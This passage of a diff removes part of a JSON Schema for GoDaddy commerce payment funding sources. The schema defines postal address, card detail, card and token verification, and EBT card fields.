`adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-processing-instruction.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } - } - }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/ebt-card.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "description": "EBT Card", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "description": "Card verification data", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - }, - "cardType": { - "type": "string", - "description": "Type of EBT card used", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string", - "minLength": 1, - "maxLength": 15, - "description": "EVoucher serial if used with Electronic Voucher" - }, - "eVoucherApprovalCode": { - "type": 